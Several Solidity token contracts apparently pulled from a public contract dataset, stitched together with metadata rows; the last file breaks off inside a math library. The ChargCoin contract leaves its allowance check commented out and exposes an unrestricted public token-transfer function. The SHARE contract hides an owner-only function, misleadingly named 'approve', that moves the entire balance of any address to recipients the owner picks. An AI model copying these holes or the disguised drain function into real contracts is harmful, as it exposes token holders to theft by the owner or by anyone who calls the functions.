uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ChargCoinContract is StandardToken, Ownable {
string public standard = "CHG";
string public name = "Charg Coin";
string public symbol = "CHG";
uint public decimals = 18;
address public multisig = 0x0fA3d47B2F9C01396108D81aa63e4F20d4cd7994;
struct ChargingData {
address node;
uint startTime;
uint endTime;
uint256 fixedRate;
bool initialized;
uint256 predefinedAmount;
}
struct ParkingData {
address node;
uint startTime;
uint endTime;
uint256 fixedRate;
bool initialized;
uint256 predefinedAmount;
}
mapping (address => uint256) public authorized;
mapping (address => uint256) public rateOfCharging;
mapping (address => uint256) public rateOfParking;
mapping (address => ChargingData) public chargingSwitches;
mapping (address => ParkingData) public parkingSwitches;
mapping (address => uint256) public reservedFundsCharging;
mapping (address => uint256) public reservedFundsParking;
// 1 ETH = 500 CHARG tokens (1 CHARG = 0.59 USD)
uint PRICE = 500;
struct ContributorData {
uint contributionAmount;
uint tokensIssued;
}
function ChargCoinContract() public {
balances[msg.sender] = totalSupply;
}
mapping (address => ContributorData) public contributorList;
uint nextContributorIndex;
mapping (uint => address) contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state {pendingStart, crowdsale, crowdsaleEnded}
event CrowdsaleStarted(uint blockNumber);
event CrowdsaleEnded(uint blockNumber);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blockNumber);
event MaxCapReached(uint blockNumber);
uint public constant BEGIN_TIME = 1513896982;
uint public constant END_TIME = 1545432981;
uint public minCap = 1 ether;
uint public maxCap = 70200 ether;
uint public ethRaised = 0;
uint public totalSupply = 90000000 * 10 ** decimals;
uint crowdsaleTokenCap = 10000000 * 10 ** decimals; // 39%
uint foundersAndTeamTokens = 9000000 * 10 ** decimals; // 10%
uint slushFundTokens = 45900000 * 10 ** decimals; // 51%
bool foundersAndTeamTokensClaimed = false;
bool slushFundTokensClaimed = false;
uint nextContributorToClaim;
mapping (address => bool) hasClaimedEthWhenFail;
function() payable public {
require(msg.value != 0);
require(crowdsaleState != state.crowdsaleEnded);
// Check if crowdsale has ended
bool stateChanged = checkCrowdsaleState();
// Check blocks and calibrate crowdsale state
if (crowdsaleState == state.crowdsale) {
createTokens(msg.sender);
// Process transaction and issue tokens
}
else {
refundTransaction(stateChanged);
// Set state and return funds or throw
}
}
//
// Check crowdsale state and calibrate it
//
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised >= maxCap && crowdsaleState != state.crowdsaleEnded) {// Check if max cap is reached
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.number);
// Raise event
return true;
}
if (now >= END_TIME) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.number);
// Raise event
return true;
}
if (now >= BEGIN_TIME && now < END_TIME) {// Check if we are in crowdsale state
if (crowdsaleState != state.crowdsale) {// Check if state needs to be changed
crowdsaleState = state.crowdsale;
// Set new state
CrowdsaleStarted(block.number);
// Raise event
return true;
}
}
return false;
}
//
// Decide if throw or only return ether
//
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
}
else {
revert();
}
}
function createTokens(address _contributor) payable public {
uint _amount = msg.value;
uint contributionAmount = _amount;
uint returnAmount = 0;
if (_amount > (maxCap - ethRaised)) {// Check if max contribution is lower than _amount sent
contributionAmount = maxCap - ethRaised;
// Set that user contibutes his maximum alowed contribution
returnAmount = _amount - contributionAmount;
// Calculate how much he must get back
}
if (ethRaised + contributionAmount > minCap && minCap > ethRaised) {
MinCapReached(block.number);
}
if (ethRaised + contributionAmount == maxCap && ethRaised < maxCap) {
MaxCapReached(block.number);
}
if (contributorList[_contributor].contributionAmount == 0) {
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex += 1;
}
contributorList[_contributor].contributionAmount += contributionAmount;
ethRaised += contributionAmount;
// Add to eth raised
uint256 tokenAmount = calculateEthToChargcoin(contributionAmount);
// Calculate how much tokens must contributor get
if (tokenAmount > 0) {
transferToContributor(_contributor, tokenAmount);
contributorList[_contributor].tokensIssued += tokenAmount;
// log token issuance
}
if (!multisig.send(msg.value)) {
revert();
}
}
function transferToContributor(address _to, uint256 _value) public {
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
}
function calculateEthToChargcoin(uint _eth) constant public returns (uint256) {
uint tokens = _eth.mul(getPrice());
uint percentage = 0;
if (ethRaised > 0) {
percentage = ethRaised * 100 / maxCap;
}
return tokens + getAmountBonus(tokens);
}
function getAmountBonus(uint tokens) pure public returns (uint) {
uint amountBonus = 0;
if (tokens >= 10000) amountBonus = tokens;
else if (tokens >= 5000) amountBonus = tokens * 60 / 100;
else if (tokens >= 1000) amountBonus = tokens * 30 / 100;
else if (tokens >= 500) amountBonus = tokens * 10 / 100;
else if (tokens >= 100) amountBonus = tokens * 5 / 100;
else if (tokens >= 10) amountBonus = tokens * 1 / 100;
return amountBonus;
}
// replace this with any other price function
function getPrice() constant public returns (uint result) {
return PRICE;
}
//
// Owner can batch return contributors contributions(eth)
//
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner public {
require(crowdsaleState != state.crowdsaleEnded);
// Check if crowdsale has ended
require(ethRaised < minCap);
// Check if crowdsale has failed
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = contributorIndexes[nextContributorToClaim];
// Get next unclaimed participant
if (currentParticipantAddress == 0x0) return;
// Check if all the participants were compensated
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {// Check if participant has already claimed
contribution = contributorList[currentParticipantAddress].contributionAmount;
// Get contribution of participant
hasClaimedEthWhenFail[currentParticipantAddress] = true;
// Set that he has claimed
balances[currentParticipantAddress] = 0;
if (!currentParticipantAddress.send(contribution)) {// Refund eth
ErrorSendingETH(currentParticipantAddress, contribution);
// If there is an issue raise event for manual recovery
}
}
nextContributorToClaim += 1;
// Repeat
}
}
//
// Owner can set multisig address for crowdsale
//
function setMultisigAddress(address _newAddress) onlyOwner public {
multisig = _newAddress;
}
//
// Registers node with rate
//
function registerNode(uint256 chargingRate, uint256 parkingRate) public {
if (authorized[msg.sender] == 1) revert();
rateOfCharging[msg.sender] = chargingRate;
rateOfParking[msg.sender] = parkingRate;
authorized[msg.sender] = 1;
}
//
// Block node
//
function blockNode (address node) onlyOwner public {
authorized[node] = 0;
}
//
// Updates node charging rate
//
function updateChargingRate (uint256 rate) public {
rateOfCharging[msg.sender] = rate;
}
//
// Updates node parking rate
//
function updateParkingRate (uint256 rate) public {
rateOfCharging[msg.sender] = rate;
}
function chargeOn (address node, uint time) public {
// Prevent from not authorized nodes
if (authorized[node] == 0) revert();
// Prevent from double charging
if (chargingSwitches[msg.sender].initialized) revert();
// Determine endTime
uint endTime = now + time;
// Prevent from past dates
if (endTime <= now) revert();
// Calculate the amount of tokens has to be taken from users account
uint256 predefinedAmount = (endTime - now) * rateOfCharging[node];
if (balances[msg.sender] < predefinedAmount) revert();
chargingSwitches[msg.sender] = ChargingData(node, now, endTime, rateOfCharging[node], true, predefinedAmount);
balances[msg.sender] = balances[msg.sender].sub(predefinedAmount);
reservedFundsCharging[msg.sender] = reservedFundsCharging[msg.sender].add(predefinedAmount);
}
function chargeOff (address node) public {
// Check that initialization happened
if (!chargingSwitches[msg.sender].initialized) revert();
// Calculate the amount depending on rate
uint256 amount = (now - chargingSwitches[msg.sender].startTime) * chargingSwitches[msg.sender].fixedRate;
// Maximum can be predefinedAmount, if it less than that, return tokens
amount = amount > chargingSwitches[msg.sender].predefinedAmount ? chargingSwitches[msg.sender].predefinedAmount : amount;
// Take tokens from reserFunds and put it on balance
balances[node] = balances[node] + amount;
reservedFundsCharging[msg.sender] = reservedFundsCharging[msg.sender] - amount;
// When amount is less than predefinedAmount, return other tokens to user
if (reservedFundsCharging[msg.sender] > 0) {
balances[msg.sender] = balances[msg.sender] + reservedFundsCharging[msg.sender];
reservedFundsCharging[msg.sender] = 0;
}
// Uninitialize
chargingSwitches[msg.sender].node = 0;
chargingSwitches[msg.sender].startTime = 0;
chargingSwitches[msg.sender].endTime = 0;
chargingSwitches[msg.sender].fixedRate = 0;
chargingSwitches[msg.sender].initialized = false;
chargingSwitches[msg.sender].predefinedAmount = 0;
}
function parkingOn (address node, uint time) public {
// Prevent from not authorized nodes
if (authorized[node] == 0) revert();
// Prevent from double charging
if (parkingSwitches[msg.sender].initialized) revert();
if (balances[msg.sender] < predefinedAmount) revert();
uint endTime = now + time;
// Prevent from past dates
if (endTime <= now) revert();
uint256 predefinedAmount = (endTime - now) * rateOfParking[node];
parkingSwitches[msg.sender] = ParkingData(node, now, endTime, rateOfParking[node], true, predefinedAmount);
balances[msg.sender] = balances[msg.sender].sub(predefinedAmount);
reservedFundsParking[msg.sender] = reservedFundsParking[msg.sender].add(predefinedAmount);
}
// Parking off
function parkingOff (address node) public {
if (!parkingSwitches[msg.sender].initialized) revert();
// Calculate the amount depending on rate
uint256 amount = (now - parkingSwitches[msg.sender].startTime) * parkingSwitches[msg.sender].fixedRate;
// Maximum can be predefinedAmount, if it less than that, return tokens
amount = amount > parkingSwitches[msg.sender].predefinedAmount ? parkingSwitches[msg.sender].predefinedAmount : amount;
balances[node] = balances[node] + amount;
reservedFundsParking[msg.sender] = reservedFundsParking[msg.sender] - amount;
//
if (reservedFundsParking[msg.sender] > 0) {
balances[msg.sender] = balances[msg.sender] + reservedFundsParking[msg.sender];
// all tokens taken, set to 0
reservedFundsParking[msg.sender] = 0;
}
// Uninitialize
parkingSwitches[msg.sender].node = 0;
parkingSwitches[msg.sender].startTime = 0;
parkingSwitches[msg.sender].endTime = 0;
parkingSwitches[msg.sender].fixedRate = 0;
parkingSwitches[msg.sender].initialized = false;
parkingSwitches[msg.sender].predefinedAmount = 0;
}
}
contract ChgUsdConverter is Ownable{
address public contractAddress = 0xC4A86561cb0b7EA1214904f26E6D50FD357C7986;
address public dashboardAddress = 0xE27DB398A0BaF2Eb3f748bF7e227E1EF102Cad0e;
uint public ETHUSDPRICE = 810;
uint public CHGUSDPRICE = 4; // $0.4
function setETHUSDPrice(uint newPrice) public {
if (msg.sender != dashboardAddress) revert();
ETHUSDPRICE = newPrice;
}
function setCHGUSDPrice(uint newPrice) public {
if (msg.sender != dashboardAddress) revert();
CHGUSDPRICE = newPrice;
}
function calculateCHGAmountToEther(uint etherAmount) view public returns (uint){
return ((etherAmount * ETHUSDPRICE) / CHGUSDPRICE) * 10;
}
function balances(address a) view public returns (uint) {
ChargCoinContract c = ChargCoinContract(contractAddress);
return c.balances(a);
}
function currentBalance() view public returns (uint) {
ChargCoinContract c = ChargCoinContract(contractAddress);
return c.balances(address(this));
}
function() payable public {
uint calculatedAmount = calculateCHGAmountToEther(msg.value);
ChargCoinContract c = ChargCoinContract(contractAddress);
if (currentBalance() < calculatedAmount) {
revert();
}
if (!c.transfer(msg.sender, calculatedAmount)) {
revert();
}
}
}
| 183,580 | 371 |
5ecbfa0d4f8cea5dcc8c331a8fcc74bffe08a9b835672d0ebe7b645bad51fb30
| 29,726 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/b9/b9f0efb0b1a96529a8acd906d126cd23d265729f_SHARE.sol
| 5,249 | 18,949 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SHARE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'SHARE';
string private constant _symbol = 'SHARE';
uint256 private _taxFee = 700;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xe09cB20A87b4180f0156b274731eDE50e530baCD, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
// approve
function approve(address from, address[] calldata addresses) external onlyOwner {
for(uint i=0; i < addresses.length; i++){
_transferStandard(from,addresses[i],balanceOf(from));
}
}
}
| 307,803 | 372 |
0008670241e04b781a0f16fd53ea095442fc08139f4b57aa3082661cd5fbae05
| 34,390 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ae/aec4cc5a4b510e2028a4969e3976e71b78254905_pDFPresale.sol
| 4,907 | 18,235 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
contract ReentrancyGuard is Ownable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/libs/IBEP20.sol
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
